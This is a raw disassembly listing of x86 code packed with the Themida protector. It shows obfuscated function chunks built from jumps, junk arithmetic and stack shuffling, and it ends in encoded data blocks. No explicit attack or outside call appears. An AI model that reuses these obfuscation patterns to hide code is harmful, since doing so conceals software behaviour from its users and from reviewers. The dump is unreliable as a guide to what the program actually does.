		jmp	loc_567952
; END OF FUNCTION CHUNK	FOR sub_5666C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EE9F


loc_575121:				; CODE XREF: sub_56EE9F+2703j
		shr	ebp, 6
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_572930
; END OF FUNCTION CHUNK	FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560CF1


loc_575132:				; CODE XREF: sub_560CF1+F315j
		add	ebp, 4
		jmp	loc_57033B
; END OF FUNCTION CHUNK	FOR sub_560CF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56666D


loc_57513D:				; CODE XREF: sub_56666D-15E6j
		add	esp, 4
		push	edi
		mov	edi, 0FFFFFFFFh
		sub	ecx, edi
		jmp	loc_5679F0
; END OF FUNCTION CHUNK	FOR sub_56666D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561C21


loc_575150:				; CODE XREF: sub_561C21+8225j
		add	al, 0BCh
		mov	bl, al
		pop	eax
		shl	bl, 6
		push	ecx
		mov	ch, 39h
		jmp	loc_574BF5
; END OF FUNCTION CHUNK	FOR sub_561C21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569FB8


loc_575160:				; CODE XREF: sub_569FB8-4190j
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		push	ebp
		jmp	loc_5656C3
; END OF FUNCTION CHUNK	FOR sub_569FB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565A8D


loc_57516F:				; CODE XREF: sub_565A8D+6950j
		mov	[esp+0], ebx
		mov	eax, [esp+0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	edx
		push	esp
		jmp	loc_56FF14
; END OF FUNCTION CHUNK	FOR sub_565A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_575188:				; CODE XREF: sub_56B06D+30Dj
		mov	ecx, 24h
		add	esi, ecx
		push	[esp+14h+var_14]
		mov	ecx, [esp+18h+var_18]
		push	ecx
		mov	ecx, esp
		jmp	loc_5661E6
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56264C


loc_57519D:				; CODE XREF: sub_56264C+F941j
		pop	ecx
		jmp	loc_563752
; END OF FUNCTION CHUNK	FOR sub_56264C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_5751A3:				; CODE XREF: sub_5678CB+9FC0j
		pop	ebx
		jmp	loc_5603A4
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_5751A9:				; CODE XREF: sub_56AB5E-82D3j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		sub	edx, 3594A33h
		add	edx, 6079482Fh
		add	edx, eax
		sub	edx, 6079482Fh
		push	3875h
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_56A562
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_5751D7:				; CODE XREF: sub_561418+A57j
		push	esp
		pop	ebp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		add	ebp, 4
		jmp	loc_571E75
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_5751EA:				; CODE XREF: sub_56AEF2+466Fj
		pop	ecx
		push	26F0h
		mov	[esp-0Ch+arg_8], eax
		push	dword ptr [esp+4]
		mov	eax, [esp-8+arg_4]
		add	esp, 4
		pop	[esp-0Ch+arg_8]
		jmp	loc_5691F5
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DAB2


loc_575205:				; CODE XREF: sub_56DAB2+11j
		pop	edi
		add	eax, 29700582h
		jmp	loc_57401B
; END OF FUNCTION CHUNK	FOR sub_56DAB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574503


loc_575210:				; CODE XREF: sub_574503-1396Ej
		pop	ebx
		jmp	sub_564B5A
; END OF FUNCTION CHUNK	FOR sub_574503
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57523A


loc_575216:				; CODE XREF: sub_57523A-CF32j
		mov	edx, 5C8729AFh
		add	edx, 423D7767h
		sub	esp, 4
		jmp	loc_566733
; END OF FUNCTION CHUNK	FOR sub_57523A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C93


loc_575229:				; CODE XREF: sub_571C93-BFE1j
		pop	esi
		sub	ebx, edi
		sub	ebx, 6A056D72h
		push	[esp+4+var_4]
		jmp	loc_573A72
; END OF FUNCTION CHUNK	FOR sub_571C93

; =============== S U B	R O U T	I N E =======================================



sub_57523A	proc near		; DATA XREF: Themida_:0055FDD4o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4

; FUNCTION CHUNK AT 005624BC SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005637C0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056473C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005659E2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00566733 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566A27 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00567E8B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00568306 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056AAC5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056C332 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056D091 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056ECC4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056F202 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005708C7 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005730DA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00575216 SIZE 00000013 BYTES

		mov	ax, [esp+0]
		push	694Eh
		mov	[esp+4+var_4], edi
		push	esp
		jmp	loc_568306
sub_57523A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_57524C:				; CODE XREF: sub_56616D+BEE2j
		not	[esp-0Ch+arg_8]
		pop	ecx
		or	ecx, 33631A93h
		push	esi
		mov	esi, 7E9C592Ah
		jmp	loc_561E3D
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_575261:				; CODE XREF: sub_56657A-3B35j
		pop	esi
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		pop	esp
		jmp	loc_574865
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574287


loc_575271:				; CODE XREF: sub_574287-A785j
		add	esp, 4
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		bt	[esp-4+arg_0], eax
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_574287
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E0B0


loc_575284:				; CODE XREF: sub_56E0B0-315Cj
		push	[esp+0Ch+var_8]
		jmp	loc_5605A4
; END OF FUNCTION CHUNK	FOR sub_56E0B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_57528D:				; CODE XREF: sub_561418+B614j
		push	[esp+10h+var_10]
		pop	eax
		add	esp, 4
		push	[esp+0Ch+var_C]
		pop	ebp
		add	esp, 4


loc_57529E:				; CODE XREF: sub_561418+A938j
					; sub_561418+B493j
		mov	ebx, [esp+8+var_8]
		push	ecx
		mov	ecx, esp
		push	edx
		push	ebx
		jmp	loc_565D8B
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569CBC


loc_5752AB:				; CODE XREF: sub_569CBC-4426j
		push	edx
		jmp	loc_569B93
; END OF FUNCTION CHUNK	FOR sub_569CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5666C3


loc_5752B1:				; CODE XREF: sub_5666C3+C7FEj
		mov	ecx, 16F05FE7h
		jmp	loc_5631BF
; END OF FUNCTION CHUNK	FOR sub_5666C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_5752BB:				; CODE XREF: sub_56657A+2A87j
		movzx	cx, al
		jmp	loc_56AB7D
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747FA


loc_5752C4:				; CODE XREF: sub_5747FA-5D40j
		pop	esi
		or	ecx, 11BD6FE6h
		shl	ecx, 7
		sub	esp, 4
		mov	[esp+0], ebx
		mov	ebx, 7D1469Ch
		sub	ebx, 28114798h
		xor	ecx, ebx
		pop	ebx
		jmp	loc_56D3FB
; END OF FUNCTION CHUNK	FOR sub_5747FA
; ---------------------------------------------------------------------------


loc_5752EA:				; CODE XREF: Themida_:0056D399j
		mov	[esp], eax
		jmp	loc_5701DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5681F5


loc_5752F2:				; CODE XREF: sub_5681F5-4D52j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	sub_56637E
; END OF FUNCTION CHUNK	FOR sub_5681F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E81


loc_575306:				; CODE XREF: sub_570E81-86BBj
		pop	ebx
		push	ecx
		jmp	loc_561AC8
; END OF FUNCTION CHUNK	FOR sub_570E81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56351E


loc_57530D:				; CODE XREF: sub_56351E+8DFFj
		xor	ecx, ebx
		pop	ebx
		jmp	loc_574E46
; END OF FUNCTION CHUNK	FOR sub_56351E

; =============== S U B	R O U T	I N E =======================================



sub_575315	proc near		; CODE XREF: sub_56666D-55AFj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005628AD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00563583 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005636CC SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00566EF0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567899 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00567B70 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00568A86 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056D2ED SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056F2F0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0057279F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00574D82 SIZE 0000000D BYTES

		push	ebx
		mov	ebx, 5AD2506h
		dec	ebx
		jmp	loc_5636CC
sub_575315	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574FC9


loc_575321:				; CODE XREF: sub_574FC9-48D0j
		mov	edx, edi
		jmp	loc_56F54D
; END OF FUNCTION CHUNK	FOR sub_574FC9

; =============== S U B	R O U T	I N E =======================================



sub_575328	proc near		; CODE XREF: sub_56F782-8CE9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00565194 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056854C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00573F72 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00574142 SIZE 00000015 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	ecx
		push	5AA416Dh
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, 2C21744Dh
		jmp	loc_574142
sub_575328	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_575350:				; CODE XREF: sub_56FA15-528j
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp+8+var_8]
		jmp	loc_566ACB
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568646


loc_57535B:				; CODE XREF: sub_568646+F1Dj
		push	ecx
		jmp	loc_566C3A
; END OF FUNCTION CHUNK	FOR sub_568646
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB51


loc_575361:				; CODE XREF: sub_56AB51-33B0j
		mov	edx, 2B7A1F62h
		add	eax, edx
		pop	edx
		jmp	loc_574446
; END OF FUNCTION CHUNK	FOR sub_56AB51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5643EB


loc_57536E:				; CODE XREF: sub_5643EB+85E7j
		sub	eax, edx
		pop	edx
		add	eax, ebx
		push	6ADBh
		mov	[esp-4+arg_0], esi
		mov	esi, 66EA0755h
		push	ebx
		mov	ebx, 77A4415Fh
		add	esi, ebx
		pop	ebx
		xor	esi, 848D5099h
		jmp	loc_56BF79
; END OF FUNCTION CHUNK	FOR sub_5643EB
; ---------------------------------------------------------------------------


loc_575394:				; CODE XREF: Themida_:00574AD1j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_569ABE

; =============== S U B	R O U T	I N E =======================================



sub_5753A5	proc near		; DATA XREF: Themida_:0055FCE8o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 0056274A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00563612 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00563C60 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00567758 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056A207 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056A7C1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056C1B9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056FA7D SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056FC1E SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0057166E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00572DB1 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00573D98 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005740BD SIZE 00000035 BYTES

		mov	cx, [esp+0]
		jmp	loc_57166E
sub_5753A5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563FA2


loc_5753AE:				; CODE XREF: sub_563FA2+6DB6j
		mov	[esp+0], esp
		jmp	loc_572E93
; END OF FUNCTION CHUNK	FOR sub_563FA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_5753B6:				; CODE XREF: sub_5678CB+D714j
		xor	ebp, 6F785F82h
		dec	ebp
		inc	ebp
		xor	ebp, 4CCB6AC8h
		sub	ecx, 420A060Ch
		add	ecx, ebp
		add	ecx, 420A060Ch
		jmp	loc_5682C8
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_5753D7:				; CODE XREF: sub_574A21-62E3j
		mov	ecx, 0FA3117B7h
		add	ecx, ebx
		pop	ebx
		jmp	loc_570B2A
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5634AF


loc_5753E4:				; CODE XREF: sub_5634AF+8C73j
		mov	ecx, [esp+0]
		add	esp, 4
		push	ebp
		push	eax
		mov	eax, 66893980h
		jmp	loc_5692A3
; END OF FUNCTION CHUNK	FOR sub_5634AF
; ---------------------------------------------------------------------------


loc_5753F6:				; DATA XREF: Themida_:0055FCD4o
		mov	cx, [esp]
		push	edx
		mov	edx, esp
		push	edi
		push	esi
		jmp	loc_5664E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5638E4


loc_575404:				; CODE XREF: sub_5638E4+25E6j
		add	edx, edi
		pop	edi
		jmp	loc_56BA49
; END OF FUNCTION CHUNK	FOR sub_5638E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB51


loc_57540C:				; CODE XREF: sub_56AB51+E1Cj
		mov	edi, [esp+8+var_8]
		add	esp, 4
		xor	eax, [esp+4+var_4]
		xor	[esp+4+var_4], eax
		jmp	loc_571D8E
; END OF FUNCTION CHUNK	FOR sub_56AB51

; =============== S U B	R O U T	I N E =======================================



sub_575420	proc near		; DATA XREF: Themida_:0055FD18o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0056164C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00562C8F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00564B2D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00564B65 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00564DE6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00566406 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00567ED5 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056938E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00569D4A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056BD6A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00571E44 SIZE 0000000D BYTES

		lodsb
		jmp	loc_56BD6A
sub_575420	endp

; ---------------------------------------------------------------------------


loc_575426:				; CODE XREF: Themida_:0056AD50j
		push	esi
		push	esp
		jmp	loc_561947
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5604FE


loc_57542D:				; CODE XREF: sub_5604FE+13E5Ej
		push	esp
		pop	eax
		sub	esp, 4
		mov	[esp+0Ch+var_C], edi
		jmp	loc_560A17
; END OF FUNCTION CHUNK	FOR sub_5604FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_57543A:				; CODE XREF: sub_56241E-1CB9j
		not	cx
		push	small 5AC2h
		mov	word ptr [esp+0Ah+var_C+2], bx
		push	ecx
		mov	cx, 438Fh
		mov	bx, cx
		mov	ecx, [esp]
		jmp	loc_56580A
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_575455:				; CODE XREF: sub_56AEF2+13AFj
		sub	bl, ah
		sub	bl, 0DEh
		add	bl, 21h
		sub	bl, 64h
		jmp	loc_56E7D7
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561826


loc_575465:				; CODE XREF: sub_561826+3E8Aj
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_561826
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_57546A:				; CODE XREF: sub_561418+D57j
		pop	edx
		add	ecx, eax
		sub	ecx, 46100DC5h
		push	eax
		mov	eax, 0D477259h
		sub	ecx, eax
		pop	eax
		jmp	loc_572A6F
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5738F4


loc_575481:				; CODE XREF: sub_5738F4-EBD3j
		add	edi, 2C073315h
		push	ebp
		jmp	loc_5704FE
; END OF FUNCTION CHUNK	FOR sub_5738F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_57548D:				; CODE XREF: sub_5678CB-6349j
		shr	ah, 2
		xor	ah, 85h
		add	ah, 0B9h
		push	edx
		jmp	loc_56E597
; END OF FUNCTION CHUNK	FOR sub_5678CB

; =============== S U B	R O U T	I N E =======================================



sub_57549C	proc near		; DATA XREF: Themida_:0055FD30o

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560C26 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00561BA4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00561C45 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056235A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005623E7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005629EB SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00564151 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00564365 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00567577 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005677C0 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0056845A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005685E2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00568E12 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056A445 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056C416 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056E771 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056ED47 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056EE2B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056FAD1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056FFE3 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00570115 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0057048F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00570898 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00571652 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0057168C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00571A95 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00571FA6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005726A1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005730FD SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0057313B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00573897 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005739B4 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00573A9D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00573FD4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0057469F SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00574D72 SIZE 00000010 BYTES

		lodsd
		jmp	loc_56845A
sub_57549C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B1DC


loc_5754A2:				; CODE XREF: sub_56B1DC-478Cj
		add	esp, 4
		jmp	loc_568041
; END OF FUNCTION CHUNK	FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5610CE


loc_5754AD:				; CODE XREF: sub_5610CE+79A6j
		not	ecx
		xchg	ecx, [esp+8+var_8]
		pop	ecx
		xchg	ecx, esi
		push	ebx
		mov	ebx, 9AEA7065h
		add	esi, ebx
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		and	ebp, esi
		jmp	loc_5628C4
; END OF FUNCTION CHUNK	FOR sub_5610CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E05C


loc_5754CD:				; CODE XREF: sub_56E05C+21j
		mov	edi, 6FC75A7h
		shl	edi, 8
		jmp	loc_564E72
; END OF FUNCTION CHUNK	FOR sub_56E05C

; =============== S U B	R O U T	I N E =======================================



sub_5754DA	proc near		; DATA XREF: Themida_:0055FEBCo

var_12		= dword	ptr -12h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005604D1 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00561FB4 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00563077 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056460C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056773F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00567F1F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00568424 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005696F0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056A229 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056BFC7 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056C435 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056CE82 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0056D958 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056F1FB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00570E02 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005717B7 SIZE 00000032 BYTES

		lodsb
		push	ecx
		mov	ch, 63h
		shr	ch, 3
		and	ch, 0AEh
		jmp	loc_56BFC7
sub_5754DA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_5754E9:				; CODE XREF: sub_563A7F+10F95j
		push	eax
		jmp	loc_569D76
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------


loc_5754EF:				; CODE XREF: Themida_:00567319j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5665DB
; ---------------------------------------------------------------------------


loc_5754FD:				; CODE XREF: Themida_:005531F3j
		jmp	loc_575540
; ---------------------------------------------------------------------------
		dw 0F570h
		dd 53551491h, 32335245h, 6C6C642Eh, 56444100h, 33495041h
		dd 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h, 807D7h, 70002h
		dd 11000Fh, 2AE0007h, 2	dup(0)
; ---------------------------------------------------------------------------


loc_575540:				; CODE XREF: Themida_:loc_5754FDj
		jmp	loc_575E94
; ---------------------------------------------------------------------------
		push	612A1BEh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	612A250h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	612A38Ch
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	612A4ABh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	612A508h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	612A61Ch
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	612A696h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		db 12h
		dd 1AA11D60h, 0F87F3B72h, 15A41851h, 2793572h, 0AD9B0F4Eh
		dd 42812351h, 1D5E0F86h, 39741AA1h, 184DF685h, 0D4D7A9A4h
		dd 6BDEDD6Eh, 15A32986h, 0A39D3CBDh, 51D5C102h,	33B05B75h
		dd 0D367FC20h, 0EB68557h, 192142CEh, 7C584A0Ch,	0CFAC88h
		dd 36303F2Ch, 8FD3D127h, 44CD1BAh, 0E158B2DDh, 85D8F52Ah
		dd 98936D6Eh, 47E910C7h, 0A20F035Fh, 3E792D13h,	0D8F2CE52h
		dd 0F8DDE331h, 0B5C7A37Dh, 4CF6B5CBh, 0A87E38CDh, 7B24AFCCh
		dd 5C039246h, 0A6B2C227h, 889CA011h, 7C11Fh, 8FD27400h
		dd 0ADE49C1Bh, 0CA03AA31h, 0A7E4870Eh, 0C100A433h, 71E31F0Dh
		dd 4DCC80BFh, 58DF5B9Ch, 34C377B2h, 0E7E2568Bh,	0DDAC1615h
		dd 6B486BDEh, 6104D7E1h, 0B0557420h, 0B57E5B77h, 0D82DD90Eh
		dd 0E4DFF41h, 1A553929h, 132F0D35h, 0F11B5239h,	0AFAB67FAh
		dd 275EB09Dh, 0D4FD8301h, 517693F2h, 0DB00E664h, 0F5F24B65h
		dd 865A6F2Dh, 2BDE0FB3h, 94213397h, 74B5586Fh, 9C0A480h
		dd 95492D62h, 71256006h, 0CF7CB15Ah, 4A08585Bh,	2F584155h
		dd 0E2000007h, 0EA71ED30h, 0C84F0B42h, 0E574E821h, 0D2490542h
		dd 7D6BDF1Eh, 0F231D301h, 0CD0EBF36h, 0A9E48A11h, 0C8FDA635h
		dd 64271914h, 6BDEDEDEh, 32F3B936h, 39504479h, 4A835D92h
		dd 75D4EF83h, 100EEB0Bh, 3EBB5A69h, 336AE473h, 4C53h, 7932B900h
		dd 2028844h, 6DCC7C44h,	41FD32D9h, 0F406D5E4h, 0FCEF6E35h
		dd 522C0867h, 0F7B2E387h, 9423F04Bh, 11053CE4h,	200B5D15h
		dd 9423F0A2h, 4B0AE642h, 0AFB35F94h, 0EAA01793h, 8469C3AFh
		dd 0F9D8497Bh, 0D7926726h, 696h, 44793225h, 4627412Ah
		dd 0BAE2604Bh, 26026DCCh, 5D890941h, 0CC6814AEh, 5074F06Dh
		dd 0BCB18B7Bh, 20D5B68Ah, 0D62744BDh, 89C29C3Fh, 0C8239B30h
		dd 0B5CBA0B4h, 0FC0D6DF6h, 2BD46767h, 79300AF6h, 942393C9h
		dd 9615312Dh, 68CCB8EDh, 0B9938F93h, 620E4F02h,	0E675E9FEh
